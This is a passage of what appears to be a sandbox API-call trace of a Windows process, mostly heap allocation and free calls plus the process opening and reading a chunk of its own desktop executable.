0x30e8dc0 [0074.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30e5db8 | out: hHeap=0x2ad0000) returned 1 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] GetCurrentThreadId () returned 0x9b0 [0074.858] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc00) returned 0x2aa2590 [0074.859] GetCurrentThreadId () returned 0x9b0 [0074.859] GetCurrentThreadId () returned 0x9b0 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3000) returned 0x30e5db8 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2590 | out: hHeap=0x2ad0000) returned 1 [0074.859] GetCurrentThreadId () returned 0x9b0 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fb870 | out: hHeap=0x2ad0000) returned 1 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x313d7e8 | out: hHeap=0x2ad0000) returned 1 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7b60 | out: hHeap=0x2ad0000) returned 1 [0074.859] GetCurrentThreadId () returned 0x9b0 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x48) returned 0x2acd120 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0074.859] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae90, Size=0x14) returned 0x2a71940 [0074.859] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a20138 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0074.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0074.860] GetCurrentThreadId () returned 0x9b0 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af30 [0074.860] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afb0, Size=0x14) returned 0x2a71940 [0074.860] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71940, Size=0x24) returned 0x2a20078 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0074.860] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fe40, Size=0x20) returned 0x2a1f920 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x34) returned 0x2a8a5e8 [0074.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.861] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8028, Size=0x20) returned 0x2a1fb78 [0074.861] GetCurrentThreadId () returned 0x9b0 [0074.861] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a18cf8 [0074.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba130 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb78 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.861] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8040, Size=0x20) returned 0x2a1fba0 [0074.861] GetCurrentThreadId () returned 0x9b0 [0074.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a99410 [0074.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9fa8 | out: hHeap=0x2ad0000) returned 1 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb78 [0074.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.862] GetCurrentThreadId () returned 0x9b0 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x2c79bf0 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b000 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af60 [0074.862] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b000, Size=0x14) returned 0x2a71940 [0074.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af60 | out: hHeap=0x2ad0000) returned 1 [0074.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bb9fa8 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0074.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.863] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af30, Size=0x14) returned 0x2a71700 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fb78 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bba2b8 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71680 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afb0 [0074.863] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b030, Size=0x14) returned 0x2a71940 [0074.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcc10 | out: hHeap=0x2ad0000) returned 1 [0074.864] GetCurrentThreadId () returned 0x9b0 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b010 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.864] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b010, Size=0x14) returned 0x2a71580 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0074.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8040 [0074.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71940 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0074.865] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae90, Size=0x14) returned 0x2a71580 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.865] GetCurrentThreadId () returned 0x9b0 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0908 | out: hHeap=0x2ad0000) returned 1 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7930 | out: hHeap=0x2ad0000) returned 1 [0074.865] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7d90 | out: hHeap=0x2ad0000) returned 1 [0074.865] GetCurrentThreadId () returned 0x9b0 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x2cd7f08 [0074.865] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1fbc8 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62a88 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x300) returned 0x30f7860 [0074.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b62a88 | out: hHeap=0x2ad0000) returned 1 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcc10 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f0d0 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 [0074.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7700 | out: hHeap=0x2ad0000) returned 1 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8df8 [0074.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8df8 | out: hHeap=0x2ad0000) returned 1 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0074.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba72a0 | out: hHeap=0x2ad0000) returned 1 [0074.866] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba74d0 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8880 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ab0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0074.867] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] GetCurrentThreadId () returned 0x9b0 [0074.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ab0 | out: hHeap=0x2ad0000) returned 1 [0074.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8880 | out: hHeap=0x2ad0000) returned 1 [0074.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.868] GetLastError () returned 0x0 [0074.868] GetLastError () returned 0x0 [0074.868] GetLastError () returned 0x0 [0074.868] GetLastError () returned 0x0 [0074.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8178 | out: hHeap=0x2ad0000) returned 1 [0074.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af10 [0074.868] GetLastError () returned 0x0 [0074.868] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b7f28, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0074.868] GetFileType (hFile=0x1ec) returned 0x1 [0074.868] GetLastError () returned 0x0 [0074.868] GetCurrentThreadId () returned 0x9b0 [0074.869] GetLastError () returned 0x0 [0074.869] GetFileType (hFile=0x1ec) returned 0x1 [0074.869] GetFileInformationByHandle (in: hFile=0x1ec, lpFileInformation=0x9b7fa4 | out: lpFileInformation=0x9b7fa4) returned 1 [0074.869] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.869] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.869] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fb0, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.869] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.869] FileTimeToLocalFileTime (in: lpFileTime=0x9b7fa8, lpLocalFileTime=0x9b7fe8 | out: lpLocalFileTime=0x9b7fe8) returned 1 [0074.869] FileTimeToSystemTime (in: lpFileTime=0x9b7fe8, lpSystemTime=0x9b7fd8 | out: lpSystemTime=0x9b7fd8) returned 1 [0074.869] GetLastError () returned 0x0 [0074.869] GetCurrentThreadId () returned 0x9b0 [0074.869] GetLastError () returned 0x0 [0074.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20018 | out: hHeap=0x2ad0000) returned 1 [0074.869] GetLastError () returned 0x0 [0074.869] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=7900626, lpDistanceToMoveHigh=0x9b8058*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b8058*=0) returned 0x788dd2 [0074.869] GetLastError () returned 0x0 [0074.869] GetCurrentThreadId () returned 0x9b0 [0074.869] GetLastError () returned 0x0 [0074.869] GetCurrentThreadId () returned 0x9b0 [0074.869] GetLastError () returned 0x0 [0074.870] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=8288568, lpDistanceToMoveHigh=0x9b83f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b83f0*=0) returned 0x7e7938 [0074.870] GetLastError () returned 0x0 [0074.870] GetCurrentThreadId () returned 0x9b0 [0074.870] GetLastError () returned 0x0 [0074.870] GetCurrentThreadId () returned 0x9b0 [0074.870] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xbe5) returned 0x2aa2590 [0074.870] GetLastError () returned 0x0 [0074.870] ReadFile (in: hFile=0x1ec, lpBuffer=0x2cc64e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b83a4, lpOverlapped=0x0 | out: lpBuffer=0x2cc64e8*, lpNumberOfBytesRead=0x9b83a4*=0x1000, lpOverlapped=0x0) returned 1 [0074.871] GetLastError () returned 0x0 [0074.871] GetCurrentThreadId () returned 0x9b0 [0074.871] GetLastError () returned 0x0 [0074.871] GetCurrentThreadId () returned 0x9b0 [0074.871] GetLastError () returned 0x0 [0074.871] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b707c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b707c*=0) returned 0x7e8938 [0074.871] GetLastError () returned 0x0 [0074.871] GetCurrentThreadId () returned 0x9b0 [0074.871] GetLastError () returned 0x0 [0074.871] GetLastError () returned 0x0 [0074.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc64e8 | out: hHeap=0x2ad0000) returned 1 [0074.871] CloseHandle (hObject=0x1ec) returned 1 [0074.871] GetLastError () returned 0x0 [0074.871] GetCurrentThreadId () returned 0x9b0 [0074.871] GetLastError () returned 0x0 [0074.871] GetLastError () returned 0x0 [0074.871] GetCurrentThreadId () returned 0x9b0 [0074.871] GetLastError () returned 0x0 [0074.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc818 | out: hHeap=0x2ad0000) returned 1 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30f8dd0, Size=0x18d4) returned 0x30f8dd0 [0074.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2590 | out: hHeap=0x2ad0000) returned 1 [0074.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7f68, Size=0x20) returned 0x2a1fbf0 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a192e0 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a192e0, Size=0x64) returned 0x2a19968 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0618 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0618, Size=0xb8) returned 0x2ac9410 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac9410, Size=0xe8) returned 0x2c374d8 [0074.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x26d) returned 0x2cd0908 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c374d8, Size=0x120) returned 0x2cb5e10 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb5e10, Size=0x160) returned 0x2cb6aa0 [0074.872] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb6aa0, Size=0x1a8) returned 0x2cb7aa8 [0074.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7aa8 | out: hHeap=0x2ad0000) returned 1 [0074.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f8dd0 | out: hHeap=0x2ad0000) returned 1 [0074.872] GetCurrentThreadId () returned 0x9b0 [0074.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af10 [0074.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30f9730 [0074.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.873] GetCurrentThreadId () returned 0x9b0 [0074.873] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7a48 [0074.873] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7a48 | out: hHeap=0x2ad0000) returned 1 